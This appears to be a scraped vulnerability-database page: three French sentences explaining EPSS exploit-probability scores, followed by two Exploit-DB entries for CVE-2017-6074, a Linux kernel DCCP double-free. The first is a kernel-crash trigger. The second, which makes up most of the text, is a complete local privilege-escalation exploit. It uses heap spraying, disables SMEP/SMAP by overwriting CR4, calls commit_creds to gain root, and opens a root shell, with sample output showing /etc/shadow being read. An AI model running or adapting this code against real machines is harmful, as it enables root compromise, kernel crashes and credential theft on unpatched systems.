EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A trigger for CVE-2017-6074, crashes kernel.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Andrey Konovalov <
[email protected]>
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
int main() {
struct sockaddr_in6 sa1;
sa1.sin6_family = AF_INET6;
sa1.sin6_port = htons(20002);
inet_pton(AF_INET6, "::1", &sa1.sin6_addr);
sa1.sin6_flowinfo = 0;
sa1.sin6_scope_id = 0;
int optval = 8;
int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
bind(s1, &sa1, 0x20);
listen(s1, 0x9);
setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4);
int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
connect(s2, &sa1, 0x20);
shutdown(s1, SHUT_RDWR);
close(s1);
shutdown(s2, SHUT_RDWR);
close(s2);
return 0;
}
//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <
[email protected]>
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>
#define SMEP_SMAP_BYPASS 1
// Needed for local root.
#define COMMIT_CREDS 0xffffffff810a2840L
#define PREPARE_KERNEL_CRED 0xffffffff810a2c30L
#define SHINFO_OFFSET 1728
// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4 0xffffffff81064550ul
#define CR4_DESIRED_VALUE 0x406e0ul
#define TIMER_OFFSET (728 + 48 + 104)
#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64
// Port is incremented on each use.
static int port = 11000;
void debug(const char *msg) {
/*
char buffer[32];
snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
system(buffer);
*/
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, void *func) {
memset(&buffer[0], 0, 2048);
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = (unsigned long)func;
}
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
memset(&buffer[0], 0, 2048);
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
struct dccp_handle {
struct sockaddr_in6 sa;
int s1;
int s2;
};
void dccp_init(struct dccp_handle *handle, int port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("bind()");
exit(EXIT_FAILURE);
}
rv = listen(handle->s1, 0x9);
if (rv != 0) {
perror("listen()");
exit(EXIT_FAILURE);
}
int optval = 8;
rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
&optval, sizeof(optval));
if (rv != 0) {
perror("setsockopt(IPV6_RECVPKTINFO)");
exit(EXIT_FAILURE);
}
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_kmalloc_kfree(struct dccp_handle *handle) {
int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("connect(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_kfree_again(struct dccp_handle *handle) {
int rv = shutdown(handle->s1, SHUT_RDWR);
if (rv != 0) {
perror("shutdown(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_destroy(struct dccp_handle *handle) {
close(handle->s1);
close(handle->s2);
}
// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *
struct udp_fifo_handle {
int fds[2];
};
void udp_fifo_init(struct udp_fifo_handle* handle) {
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
}
void udp_fifo_destroy(struct udp_fifo_handle* handle) {
close(handle->fds[0]);
close(handle->fds[1]);
}
void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
int rv = send(handle->fds[0], buffer, 1536, 0);
if (rv != 1536) {
perror("send()");
exit(EXIT_FAILURE);
}
}
void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
char buffer[128];
int rv = send(handle->fds[0], &buffer[0], 128, 0);
if (rv != 128) {
perror("send()");
exit(EXIT_FAILURE);
}
}
void udp_fifo_kfree(struct udp_fifo_handle* handle) {
char buffer[2048];
int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
if (rv != 1536) {
perror("recv()");
exit(EXIT_FAILURE);
}
}
int timer_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
#define CONF_RING_FRAMES 1
void timer_schedule(int handle, int timeout) {
int optval = TPACKET_V3;
int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
&optval, sizeof(optval));
if (rv != 0) {
perror("setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
struct tpacket_req3 tp;
memset(&tp, 0, sizeof(tp));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
tp.tp_retire_blk_tov = timeout;
rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
(void *)&tp, sizeof(tp));
if (rv != 0) {
perror("setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
void socket_sendmmsg(int sock, char *buffer) {
struct mmsghdr msg[1];
msg[0].msg_hdr.msg_iovlen = 0;
// Buffer to kmalloc.
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 2048;
// Make sendmmsg exit easy with EINVAL.
msg[0].msg_hdr.msg_name = "root";
msg[0].msg_hdr.msg_namelen = 1;
int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
if (rv == -1 && errno != EINVAL) {
perror("[-] sendmmsg()");
exit(EXIT_FAILURE);
}
}
void sendmmsg_kmalloc_kfree(int port, char *buffer) {
int sock[2];
int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
socket_sendmmsg(sock[0], buffer);
close(sock[0]);
}
// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *
void dccp_connect_pad(struct dccp_handle *handle, int port) {
handle->sa.sin6_family = AF_INET6;
handle->sa.sin6_port = htons(port);
inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
handle->sa.sin6_flowinfo = 0;
handle->sa.sin6_scope_id = 0;
handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("bind()");
exit(EXIT_FAILURE);
}
rv = listen(handle->s1, 0x9);
if (rv != 0) {
perror("listen()");
exit(EXIT_FAILURE);
}
handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
if (handle->s1 == -1) {
perror("socket(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
if (rv != 0) {
perror("connect(SOCK_DCCP)");
exit(EXIT_FAILURE);
}
}
void dccp_kmalloc_pad() {
int i;
struct dccp_handle handle;
for (i = 0; i < 4; i++) {
dccp_connect_pad(&handle, port++);
}
}
void timer_kmalloc_pad() {
int i;
for (i = 0; i < 4; i++) {
socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
}
}
void udp_kmalloc_pad() {
int i, j;
char dummy[2048];
struct udp_fifo_handle uh[16];
for (i = 0; i < KMALLOC_PAD / 16; i++) {
udp_fifo_init(&uh[i]);
for (j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
}
void kmalloc_pad() {
debug("dccp kmalloc pad");
dccp_kmalloc_pad();
debug("timer kmalloc pad");
timer_kmalloc_pad();
debug("udp kmalloc pad");
udp_kmalloc_pad();
}
void udp_kmalloc_warm() {
int i, j;
char dummy[2048];
struct udp_fifo_handle uh[16];
for (i = 0; i < KMALLOC_WARM / 16; i++) {
udp_fifo_init(&uh[i]);
for (j = 0; j < 16; j++)
udp_fifo_kmalloc(&uh[i], &dummy[0]);
}
for (i = 0; i < KMALLOC_WARM / 16; i++) {
for (j = 0; j < 16; j++)
udp_fifo_kfree(&uh[i]);
}
}
void kmalloc_warm() {
udp_kmalloc_warm();
}
// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *
// Executes func(arg) from interrupt context multiple times.
void kernel_exec_irq(void *func, unsigned long arg) {
int i;
struct dccp_handle dh;
struct udp_fifo_handle uh1, uh2, uh3, uh4;
char dummy[2048];
char buffer[2048];
printf("[.] scheduling %p(%p)\n", func, (void *)arg);
memset(&dummy[0], 0xc3, 2048);
init_timer_buffer(&buffer[0], func, arg);
udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
udp_fifo_init(&uh4);
debug("kmalloc pad");
kmalloc_pad();
debug("kmalloc warm");
kmalloc_warm();
debug("dccp init");
dccp_init(&dh, port++);
debug("dccp kmalloc kfree");
dccp_kmalloc_kfree(&dh);
debug("catch 1");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);
debug("dccp kfree again");
dccp_kfree_again(&dh);
debug("catch 2");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);
int timers[CATCH_FIRST];
debug("catch 1 -> timer");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
timers[i] = timer_kmalloc();
}
debug("catch 1 small");
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);
debug("schedule timers");
for (i = 0; i < CATCH_FIRST; i++)
timer_schedule(timers[i], 500);
debug("catch 2 -> overwrite timers");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh2);
udp_fifo_kmalloc(&uh3, &buffer[0]);
}
debug("catch 2 small");
for (i = 0; i < CATCH_AGAIN_SMALL; i++)
udp_fifo_kmalloc_small(&uh4);
printf("[.] waiting for the timer to execute\n");
debug("wait");
sleep(1);
printf("[.] done\n");
}
void disable_smep_smap() {
printf("[.] disabling SMEP & SMAP\n");
kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
printf("[.] SMEP & SMAP should be off now\n");
}
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *
// Executes func() from process context.
void kernel_exec(void *func) {
int i;
struct dccp_handle dh;
struct udp_fifo_handle uh1, uh2, uh3;
char dummy[2048];
char buffer[2048];
printf("[.] executing %p\n", func);
memset(&dummy[0], 0, 2048);
init_skb_buffer(&buffer[0], func);
udp_fifo_init(&uh1);
udp_fifo_init(&uh2);
udp_fifo_init(&uh3);
debug("kmalloc pad");
kmalloc_pad();
debug("kmalloc warm");
kmalloc_warm();
debug("dccp init");
dccp_init(&dh, port++);
debug("dccp kmalloc kfree");
dccp_kmalloc_kfree(&dh);
debug("catch 1");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh1, &dummy[0]);
debug("dccp kfree again:");
dccp_kfree_again(&dh);
debug("catch 2");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kmalloc(&uh2, &dummy[0]);
debug("catch 1 -> overwrite");
for (i = 0; i < CATCH_FIRST; i++) {
udp_fifo_kfree(&uh1);
sendmmsg_kmalloc_kfree(port++, &buffer[0]);
}
debug("catch 2 -> free & trigger");
for (i = 0; i < CATCH_FIRST; i++)
udp_fifo_kfree(&uh2);
debug("catch 1 & 2");
for (i = 0; i < CATCH_AGAIN; i++)
udp_fifo_kmalloc(&uh3, &dummy[0]);
printf("[.] done\n");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root_payload(void) {
commit_creds(prepare_kernel_cred(0));
}
void get_root() {
printf("[.] getting root\n");
kernel_exec(&get_root_payload);
printf("[.] should be root now\n");
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void exec_shell() {
char *shell = "/bin/bash";
char *args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
void fork_shell() {
pid_t rv;
rv = fork();
if (rv == -1) {
perror("fork()");
exit(EXIT_FAILURE);
}
if (rv == 0) {
exec_shell();
}
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
printf("[!] don't kill the exploit binary, the kernel will crash\n");
return;
}
printf("[+] got r00t ^_^\n");
printf("[!] don't kill the exploit binary, the kernel will crash\n");
// Fork and exec instead of just doing the exec to avoid freeing
// skbuffs and prevent crashes due to a allocator corruption.
fork_shell();
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
printf("[.] namespace sandbox setup successfully\n");
}
int main() {
setup_sandbox();
#if SMEP_SMAP_BYPASS
disable_smep_smap();
#endif
get_root();
check_root();
while (true) {
sleep(100);
}
return 0;
}